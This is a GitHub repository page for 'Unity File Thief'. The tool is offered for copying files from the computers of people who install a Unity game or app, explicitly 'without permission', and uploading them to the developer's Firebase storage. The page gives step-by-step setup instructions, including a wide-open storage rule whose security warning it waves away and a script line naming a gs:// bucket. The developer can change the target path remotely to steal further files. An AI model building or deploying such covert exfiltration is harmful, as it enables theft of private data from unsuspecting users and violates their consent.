Skip to content

SabriACUN/Unity-File-Thief

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

99 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Unity File Thief

Capture the files of users who installed the Application or Game you created in Unity from an address on their computers without permission (or by asking) and store them on the cloud (Firebase). After collecting the file from the user, you can change the path via Firebase and pull different files.

Content


How to Use

Watch the Usage - https://youtu.be/q9tfqz6c1ss

Set Up

  1- Open your new Unity Project on Unity Hub

🛠️ SET FIREBASE REALTIME DATABASE & STORAGE FOR UNITY 🛠️

  2- Go to : https://console.firebase.google.com/ . If you dont have any account, Sing Up
  3- Add new Project on Firebase Console (Don't need to enable "Google Analytics")
  4- Add the application to be used in the project panel you opened as Unity

                              

  5- Choose the Register Type for Operating System (recommend : Android)
  6- Fill the first blank (com.company.appname) [ !! Not important what you write, Write according to the format ]
  7- Don't download "config file" for now. Next Button !
  8- Download Firebase Unity SDK (Zip) and Continue to Console.
  9- Open Sidebar ( If its closed )
    · Under the "Product Categories > Build > Storeage". Click "Get Started"     · Start in production mode.
10- Under the "Storage" text, select Rules. Delete the texts of Rules File and Copy and Paste that Rule :

rules_version ='2';  
service firebase.storage{  
  match /b/{bucket}/o {  
    match /{allPaths=**} {  
      allow read, write:if true;  
    }  
  }  
}  

··· For NOW warning not important "Your security rules are defined as public, so anyone can steal, modify, or delete data in your database." ···
11- Go to Sidebar and open Build again. Choose Realtime Database.
    · Create Database
    · You can open in Test Mode.
    · Add a new var.
                 yol : "path"
12- In the Sidebar there is a Settings Button. Click on it. Choose "Project Settings"
    · "General > Your apps" Download "google-services"


🛠️ SET UNITY FOR FIREBASE 🛠️
13- Go to Unity. Create a new folder. Name of the folder should be "StreamingAssets" not with (") - (NAME IS IMPORTANT)
    ·Add config file to that folder (google-services)
14- Extract the Firebase SDK zip and hold FirebaseStorage.unitypackages & FirebaseDatabase.unitypackage and drop to project panel on the Unity. and Import
15- Create new GameObject and add fileThieff.cs & takeString.cs to your GameObject.
[ -- For logs and errors that may be encountered, the log printing system is included in the codes, so you can delete it if you want or assign the necessary texts to the desired places as a reference. -- ]


🛠️ SET THE SCRIPT FOR YOUR OWN DATABASE 🛠️

16- Go to Firebase Project > Storage. Copy Url which starts with gs (example -> gs://file-thief.appspot.com )
17- Turn to our script. Find that code line :

"StorageReference storageRef = storage.GetReferenceFromUrl("gs://file-thied.appspot.com/").Child(storagePath);" 

    · Delete that part ""gs://file-thied.appspot.com/"" and paste your Url.
18- Go to Editor and Set Referances for all scripts in Inspector

Its Ready to Use !

About

In Unity, Take a file on the computer and sent them to your firebase storage. Collect files on a spesific location.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages